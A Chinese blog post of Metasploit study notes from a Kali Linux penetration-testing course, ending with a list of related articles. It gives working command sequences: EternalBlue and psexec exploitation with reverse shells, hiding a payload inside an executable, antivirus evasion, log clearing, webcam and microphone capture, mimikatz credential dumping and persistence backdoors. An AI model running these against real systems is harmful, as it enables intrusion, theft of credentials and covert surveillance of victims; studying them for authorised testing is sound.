笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程

Metasploit是目前最流行、最强大、最具扩展性的渗透测试平台,一定程度上统一了渗透测试和漏洞研究的工作环境,使得新的攻击代码比较容易加入框架。Metasploit更新速度非常快,几乎每周都会有版本更新,所以2014年之后市场上没有再出现新的Metasploit教材。

文章目录

  • 一、MSF基本介绍
    • 1.版本区分
    • 2.MSF架构
  • 二、MSF基本使用
    • 1.功能模块
    • 2.基本命令
    • 3.数据库命令
  • 三、MSF模块使用
    • (一)Exploit模块
    • (二)Payload/Encoder模块
  • 四、Meterpreter
    • (一)Meterpreter简介
    • (二)Meterpreter常用命令
    • (三)Meterpreter python扩展
  • 五、Msfcli

一、MSF基本介绍

1.版本区分

图1 Metasploit 版本

2.MSF架构

Rex :操作系统级基本库,是MSF的底层依赖

MFS::Core :MSF底层库

MSF::Base :便于用户调用的基本库,提供API (模块功能基于Base库)

MSF::UI :用户界面(最常用MSF console接口)

图2 MSF架构图

二、MSF基本使用

1.功能模块

图3 msf功能模块

MSF主目录为/usr/share/metasploit-framework/,其中包括了config配置文件、plugins插件、tools工具、db数据库文件、modules模块文件以及msfconsole、msfdb等命令,modules中的文件为我们最常用的模块文件,其中每个模块中都根据不同的操作系统,分为不同平台不同协议功能对应的漏洞利用文件,这些文件用ruby编写。

modules中的模块主要包括:

exploits:利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法,是一个流程性概念,其利用过程中往往会用到payloads

payloads:成功exploit后,攻击过程中执行的代码或指令。可以是能够反弹shell的shellcode,也可以是直接在目标系统上直接执行的系统命令,默认有三类payloads,分别为:

  • singles:要执行的所有代码都放在一个文件中,没有外部依赖,因此文件比较大,可能会因为攻击目标内存空间受限而无法使用
  • stagers:传输一个较小的payload用于建立连接,后续再传输具体攻击payload(也就是stages)
  • stages:利用stagers建立连接后,后续再传输的代码

auxiliary:没有payload的exploits模块,一般在信息收集阶段使用

encoders:对payloads进行加密,躲避AV检查的模块

post:取得shell后,进一步运行的攻击指令(运行post模块的方法有两个,一是在取得的shell中直接run运行;二是use相应的post模块,set相应的shell session,然后run运行)

图4 search命令使用

2.基本命令

msfconsole   #启动MSF console界面msfupdate    #msf版本更新help/?       #打印当下窗口的帮助文档help command/command --help #打印command命令的帮助文档connect      #可以看成是msfconsole界面下的nc工具edit         #编辑模块的ruby文件,与用vim编辑相同show         #查看命令,可以看当前环境下的exploits、auxiliary、payloads等模块,其中Rank表示不同模块的评级(成功率和使用难易程度的重要参考),#最常使用的是`show options`命令,表示当前上下文环境中的选项内容,`show missing`可以查看当前有哪些必须的配置没有设置show advanced #一些不常用的高级选项,不会在`show options`中显示search       #搜索关键词内容对应的模块,如搜索ms10_046漏洞模块:#注意搜索出的内容所在基本目录为`/usr/share/metasploit-framework/modules/`,除此之外search还可以添加一些筛选条件,如name、path、type等info         #当前模块的基本信息use          #使用不同的模块文件set/unset    #设置变量/取消变量设置setg/unsetg  #设置全局变量/取消全局变量设置,只会设置当前msf运行环境中的变量,退出msf后设置就复位save         #将设置保存到/root/.msf4/config,msf启动时会读取该文件,这样重新启动msf后设置依然保留back         #从模块上下文退回到msfconsole初始目录run/exploit  #运行漏洞模块sessions     #可以看见当前已经建立的攻击连接,利用`sessions -i id`命令进入指定连接jobs         #查看后台运行的模块load/unload  #连接插件,如load openvas,然后会出现相应的openvas命令,使用时需要用openvas_connect连接外部扫描器loadpath     #调用自己编写的功能模块route        #向session指定路由resource     #调用rc文件的命令并执行,以方便直接取得session

3.数据库命令

(1)数据库管理所用的命令为msfdb命令:

msfdb init
msfdb reinit
msfdb delete
msfdb start
msfdb stop

(2)在msfconsole中数据库管理命包括:

db_connect
db_disconnect
db_status         #查看数据库状态,有无连接
db_nmap           #后续可以用hosts命令来查询扫描出的主机
db_rebuild_cache  #建立模块文件的缓存,使search搜索速度更快
db_remove
db_export         #导出备份信息
db_import         #导入备份信息,备份为xml文件

其中db_nmap在nmap功能基础上,将搜索的数据存入数据库,便于后续查询。

三、MSF模块使用

(一)Exploit模块

分为两类,Active exploit和Passive exploit,具体区别如下:

Active exploit,攻击目标开放了某个端口服务,攻击者利用exploit传输payload,使攻击目标反弹shell (reverse_tcp),或者在指定端口运行shell (bind_tcp)再接入攻击者侦听的端口,也就是说攻击者主动发起攻击,一般去攻击服务器端程序,也是最常用的。

注意reverse_tcp是攻击目标主动反弹shell,容易绕过FW封堵,而bind_tcp是在指定的端口运行shell再弹回,容易被FW墙掉。

注:常见漏洞

1.ms08_067_netapi:通过MSRPC over SMB通道调用Server服务程序中的函数时触发,影响大部分Windows XP和Server 2003系统。

2.ms17_010_eternalblue:永恒之蓝漏洞,在Windows的SMB服务处理请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码,它影响的范围包括Win7和Sever 2008 R2的所有版本系统,这也是目前在内网渗透中最常用最好用的漏洞,没有之一。

eg1:以永恒之蓝漏洞利用
use auxiliary/acanner/smb/smb_ms17_010  #进行漏洞分析,看445端口能否被入侵
set RHOSTS 10.10.11.122
run        #如果结果中出现`Host is likely VULNERABLE to MS17-010`,则说明主机很可能有永恒之蓝漏洞
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.11.122
set payload windows/meterpreter/reverse_tcp
run        #随后可以看到进入了meterpreter

图5 永恒之蓝漏洞利用
eg2:(前提知道攻击目标的账户名和密码)
use exploit/windows/smb/psexec
set RHOSTS 10.10.11.122
set PAYLOAD windows/shell/reverse_tcp
set LHOST 10.10.11.151
set LPORT 4444
set SMBUSER user1
set SMBPASS pass1
run

Passive exploit,利用客户端程序的漏洞,客户端向存在exploit的服务端发送请求,返回的漏洞利用代码使得客户端可以反弹shell (reverse_tcp)或者反向建立连接(bind_tcp)连入攻击者,也就是说攻击者诱使攻击目标连接服务程序,通过返回的代码完成攻击,一般去攻击客户端程序。

eg:(利用攻击目标浏览器的漏洞,诱使攻击目标用浏览器访问攻击者设置的目录文件)
use exploit/windows/browser/ms07_017_ani_loadimage_chunksize
set URIPATH /   #诱使攻击目标访问的目录
set PAYLOAD windows/shell/reverse_tcp
set LHOST 10.10.11.151
set LPORT 4444
run             #exploit成功后只是伪造了一个有漏洞利用代码的站点,等待攻击目标连接

(二)Payload/Encoder模块

Payload是在攻击目标主机中真正执行的代码,它不仅可以用exploit模块加载,而且也可以作为独立的个体,通过诱使攻击目标运行而发动攻击。

Payload模块可以用generate命令修改代码:

generate         #把Payload代码以16进制格式输出
generate -b 'xx' #除去Payload中的坏字符'xx',除去的过程是重新编码,MSF会选择最佳的Encoder方式
generate -i 5 -x 'yyy.exe' -f 'xyyy.exe' #对Payload加密5轮,将Payload附加在yyy.exe程序中,生成新的程序命名为xyyy.exe#这样xyyy.exe在目标主机上执行时,yyy.exe功能不发生变化,而Payload会被执行
generate -s 10   #在Payload前生成10个nop字节(nop:EIP返回到存储nop sled的任意地址时将递增,最终导致shellcode执行)
generate -t c    #生成c语言格式的Payload

四、Meterpreter

(一)Meterpreter简介

  • 一种高级、动态、可扩展的Payload,可以基于meterpreter上下文利用更多漏洞发起攻击,同时也是后渗透测试阶段一站式操作界面。

  • 完全基于内存的DLL注入式payload(不写硬盘),不会在日志文件中留下痕迹,会注入合法进程并建立stager,隐蔽性非常好。可以基于stager上传和预加载DLL进行扩展模块的注入,可以基于stager建立的socket连接建立加密的TLS通信隧道

  • 服务端使用C语言编写

  • 客户端提供基于Ruby的全特性API(支持其他语言,但功能可能受限)

(二)Meterpreter常用命令

backround        #退回msfconsole界面,同样适用于msf界面进入的普通shell的退回操作。若是从shell中进入的,退回shell则用exithelp             #查看可用命令,等同于?pwd/cd/cat/ls/ps/reboot/shutdown/.. #些基本命令都可以使用,但是注意没有补齐功能edit             #Meterpreter界面下的vilpwd             #显示当前主机的工作目录(pwd是目标主机的工作目录)lcd              #当前主机目录的切换run/bgrun        #运行/后台运行命令,tab后有几百个选择,可以实现远程桌面监控、usb痕迹查看等功能,功能十分强大clearev          #清除目标主机的系统日志download/upload  #下载/上传文件(注意表示windows的目录要用\\)execute -i -H -m -f xx.exe -a “-o file.dump” #执行xx程序#-i表示与该程序进行交互,-H表示将窗口隐藏执行#-m表示直接在内存中执行,-a后的内容为xx.exe的参数getuid           #查看当前登录的账号getprivs         #查看当前具有的权限load priv        #加载priv插件getsystem        #加载priv后,提权变为系统账号getpid           #meterpreter注入的进程号,用ps命令查看具体进程migrate          #迁移meterpreter注入的进程,一般将session迁移到系统进程,如exploerhashdump或者run post/windows/gather/hashdump   #从SAM数据库中导出本地用户账号#注:SAM文件是windows的用户账户数据库,所有用户的登录名及口令等#相关信息都会保存在这个文件中,类似于unix系统中的passwd文件sysinfo          #获取系统信息kill             #杀死进程shell            #反弹shellshow_mount       #显示分区search           #搜索文件netstat/arp/ipconfig/ifconfig/route/... #支持部分在windows cmd和linux shell中的命令idletime         #查看计算机的空闲时间resource         #连接一个外部文件并执行,文件中一般是要执行的命令record_mic       #开启麦克风webcam_list      #列出电脑上开启的摄像头webcam_snap -i 1 -v false #每隔1秒钟进行拍照---------新版本msf命令有所变化,下边用-->标明-----------
--------------更多命令可以用help或?查看-----------------load mimikatz  -->  load kiwi  #在获取系统权限的条件下,加载mimikatz模块#load mimikatz success之后可以运行以下命令获取明文或hash密码
msv       -->  creds_msvtspkg     -->  creds_tspkgwdigest   -->  creds_wdigestkerberos  -->  creds_kerberosmimikatz_command -f samdump::hashes  -->  kiwi_cmd lsadump::sammimikatz_command -f sekurlsa::searchPasswords  -->  kiwi_cmd sekurlsa::logonPasswords

(2020.07更新)
拿下shell后要尽快植入持久化后门,以免断连或目标主机打补丁后失去shell,Meterpreter提供两种控制持久化的方式,一种是通过服务启动(metsvc),另一种是通过启动项(persistence),简要介绍如下:

1.metsvc: 在目标主机上开启一个服务,用于等待攻击接入,命令简单,执行方便,但是端口容易被网上小黑扫到,任何人都可以接入,安全性差,在meterpreter执行命令为:

run metsvc

2.persistence: 在目标主机上主动反弹连接远程主机,容易绕过防火墙,存活率高,安全性强,注意参数设置正确,在meterpreter执行命令为:

run persistence -h        #查看参数帮助信息run -P windows/x64/meterpreter/reverse_tcp -U -i 30 -p 8899 -r 10.10.11.103
# -P:设置Payload,默认为windows/meterpreter/reverse_tcp
# -U:设置后门在用户登录后自启动,该方式会在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加信息
# -i:设置反向连接心跳时间,单位s
# -p:反向连接端口
# -r:反向连接IP

(三)Meterpreter python扩展

无需运行环境,在攻击目标中直接运行原生python代码

load python           #加载python插件
python_execute 'xxx'  #运行python语句
python_import         #导入python脚本文件

五、Msfcli

Msfcli是Metasploit提供的一种命令行接口,在使用时用一句命令完成所有动作,由msfconsole -x进入,使用cli接口的目的主要是编写脚本时便于引用,如:

msfconsole -x 'use exploit/windows/smb/ms08_067+netapi;
set RHOST 1.1.1.1;set PAYLOAD windows/meterpreter/reverse_tcp;
set LHOST 1.1.1.6;set LPORT 5555;set target 34;exploit'

Kali Linux渗透测试——MSF基础篇相关推荐

  1. Kali Linux渗透测试——MSF实战篇(一)

    笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程 文章目录 一.信息收集 (一)db_nmap (二)Auxiliary模块 1.arp扫描 2.端口扫描 3.空闲扫描 4.UDP扫 ...

  2. 视频教程-Kali Linux渗透测试基础入门到进阶实战全程课-渗透测试

    Kali Linux渗透测试基础入门到进阶实战全程课 本人有多年的服务器高级运维与开发经验,擅长计算机与服务器攻防及网络攻防技术!对网络安全领域有持续的关注和研究! 林晓炜 ¥499.00 立即订阅 ...

  3. 视频教程-Kali Linux渗透测试全程课与脚本语言编程系列课程-渗透测试

    Kali Linux渗透测试全程课与脚本语言编程系列课程 本人有多年的服务器高级运维与开发经验,擅长计算机与服务器攻防及网络攻防技术!对网络安全领域有持续的关注和研究! 林晓炜 ¥899.00 立即订 ...

  4. KALI LINUX渗透测试学习笔记

    KALI LINUX渗透测试学习笔记 (苑房弘主讲) 第1章 课程介绍 任务1:Kali Linux渗透测试介绍.exe 安全问题的根源: 分层思想 只求功能实现 最大的威胁是人 渗透测试: 尝试挫败 ...

  5. Kali Linux 渗透测试 博客记录

    本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的<Kali Linux 渗透测试>课程 文章为长时间连载,内容具有连续性,禁止转载! --- ...

  6. 基于Android设备的Kali Linux渗透测试教程第1章渗透测试

    基于Android设备的Kali Linux渗透测试教程第1章渗透测试 渗透测试(Penetration Testing)是一种通过模拟攻击者所采用的技术与方法,攻击目标系统的安全控制措施,并取得访问 ...

  7. 《Kali Linux渗透测试的艺术》—第2章2.3节安全测试方法论

    本节书摘来自异步社区<Kali Linux渗透测试的艺术>一书中的第2章2.3节安全测试方法论,作者[英]Lee Allen , [印尼]Tedi Heriyanto , [英]Shake ...

  8. Kali Linux渗透测试——无线渗透

    笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程,以及文章: https://blog.csdn.net/qq_38265137/article/details/80370554 h ...

  9. kali linux 渗透测试学习笔记——被动信息收集

    kali linux 渗透测试学习笔记--linux 被动信息收集 被动信息收集 被动信息收集 公开渠道可获得的信息 已公开的信息,通过互联网等渠道去获得 与目标系统不产生直接交互 不对目标访问,扫描 ...

最新文章

  1. 会计的思考(41):会计的领悟—每一位业务骨干都是优秀的管理会计师
  2. 【Linux 内核】CFS 调度器 ④ ( 调度子系统组件模块 | 主调度器、周期性调度器 | 调度器类 )
  3. java tic tac toe_请问我这个tic tac toe的游戏代码的问题在哪里
  4. 反射如何拿到私有属性_JAVA中反射机制的价值
  5. Leetcode39.Combination Sum组合总和
  6. 算法题复习(栈与队列、二叉树)
  7. 第九十五期:Python帮你识破双11的套路
  8. 谷歌 AI 的2019:日均2篇论文,纵横16大方向,一文汇集重要开源算法
  9. 爬虫python下载电影_python爬虫:抓取下载电影文件,合并ts文件为完整视频
  10. vim插件管理器minpac安装及使用
  11. WebApiThrottle限流框架
  12. 图像分辨率与长度单位转换
  13. python 编写 cgi 脚本
  14. Python 中国象棋源码 V1
  15. win10小娜_win10小娜不好用,想禁用或彻底删除Cortana,就用这2招
  16. 外接竖屏显示器virtual box虚拟机屏幕分辨率不能自适应
  17. 基于51单片机的脉搏测量仪protues仿真设计
  18. 海阔凭鱼跃天高任鸟飞
  19. 使用ESP32驱动QMA7981读取三轴加速度(带例程)
  20. 计算机毕业设计springboot+vue基本微信小程序的透析耗材管理系统

热门文章

  1. linux查看磁带机端口,linux、unix下使用磁带机的常用命令
  2. android 当服务器
  3. BCD码与十六进制值转换
  4. oracle开放查询表权限_(转载)Oracle创建用户并给用户授权查询指定表或视图的权限...
  5. 逸创云客服获“金耳唛杯”年度中国最佳客户中心技术产品奖
  6. 关于考研的几个潜规则
  7. Mysql——》查看数据库表结构
  8. 营收倍数级增长,利润却止步不前!光庭信息只有一只脚踏进了智能电动车风口?...
  9. J2SE - super
  10. 游戏感:虚拟感觉的游戏设计师指南——第二章 游戏感与人类感知能力